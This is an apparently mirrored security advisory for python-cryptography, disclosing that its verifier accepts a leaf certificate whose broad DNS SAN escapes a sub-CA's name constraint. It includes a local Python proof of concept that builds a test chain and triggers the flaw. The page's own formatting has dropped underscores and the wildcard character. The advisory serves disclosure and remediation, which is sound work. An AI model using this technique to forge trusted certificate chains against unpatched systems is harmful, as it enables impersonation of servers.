GHSA-m2h6-j472-rp4c: Pip/cryptography vulnerability

Published Aug 3, 2026
·
Updated

Summary If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of .example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

PoC

#!/usr/bin/env python3 """Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.

Setup: Sub-CA permitted constraint: dNSName = foo.example.com Leaf SAN: dNSName = .example.com Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics). Observed: pyca accepts; further, asks server-verifier whether the leaf is authoritative for bar.example.com and pyca answers yes — a sub-CA scope escape. """ import datetime from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.x509.verification import ( PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError, )

now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc) day = datetime.timedelta(days=1)

def build(subject, issuer, key, issuerkey, ca, exts=()): b = (x509.CertificateBuilder() .subjectname(subject).issuername(issuer) .publickey(key.publickey()) .serialnumber(x509.randomserialnumber()) .notvalidbefore(now - 30 day) .notvalidafter(now + 3650 day) .addextension(x509.BasicConstraints(ca=ca, pathlength=None), critical=True)) for e, c in exts: b = b.addextension(e, c) return b.sign(issuerkey, hashes.SHA256())

Root rk = ec.generateprivatekey(ec.SECP256R1()) rn = x509.Name([x509.NameAttribute(NameOID.COMMONNAME, "Test Root")]) root = build(rn, rn, rk, rk, True)

Sub-CA constrained to foo.example.com sk = ec.generateprivatekey(ec.SECP256R1()) sn = x509.Name([x509.NameAttribute(NameOID.COMMONNAME, "Sub-CA")]) nc = x509.NameConstraints( permittedsubtrees=[x509.DNSName("foo.example.com")], excludedsubtrees=None, ) sub = build(sn, rn, sk, rk, True, [(nc, True)])

Leaf with SAN .example.com (over-broad relative to the constraint) lk = ec.generateprivatekey(ec.SECP256R1()) ln = x509.Name([x509.NameAttribute(NameOID.COMMONNAME, "Leaf")]) san = x509.SubjectAlternativeName([x509.DNSName(".example.com")]) leaf = build(ln, sn, lk, sk, False, [(san, False)])

Policies capol = ExtensionPolicy.permitall().requirepresent( x509.BasicConstraints, Criticality.AGNOSTIC, None, ) eepol = ExtensionPolicy.permitall().requirepresent( x509.SubjectAlternativeName, Criticality.AGNOSTIC, None, ) v = ( PolicyBuilder() .store(Store([root])) .time(now) .extensionpolicies(capolicy=capol, eepolicy=eepol) .buildserververifier(x509.DNSName("bar.example.com")) ) try: v.verify(leaf, [sub]) print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com") except VerificationError as e: print(f"EXPECTED: VerificationError: {e}")

Impact

Acceptance of invalid certificate chain.

Affected Software

1 affected componentFixes available
pip/cryptography<=48.0.0
49.0.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/cryptography to a version that resolves this vulnerability.

    Fixed in 49.0.0

Event History

Aug 3, 2026
Advisory Published
via GitHub·09:26 PM
Data Sourced
via GitHub·09:26 PM
DescriptionWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of GHSA-m2h6-j472-rp4c?

The severity of GHSA-m2h6-j472-rp4c is rated at 55.

2

How do I fix GHSA-m2h6-j472-rp4c?

To fix GHSA-m2h6-j472-rp4c, ensure your leaf certificates do not have wildcard DNS SANs that can escape permitted names.

3

What impact does GHSA-m2h6-j472-rp4c have on security?

GHSA-m2h6-j472-rp4c allows potential escape of DNS name validation which can lead to trust issues and security risks.

4

Who is affected by GHSA-m2h6-j472-rp4c?

Users of the python-cryptography library who rely on its certificate verification capabilities are affected by GHSA-m2h6-j472-rp4c.

5

When was GHSA-m2h6-j472-rp4c published?

GHSA-m2h6-j472-rp4c was published on August 3, 2026.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203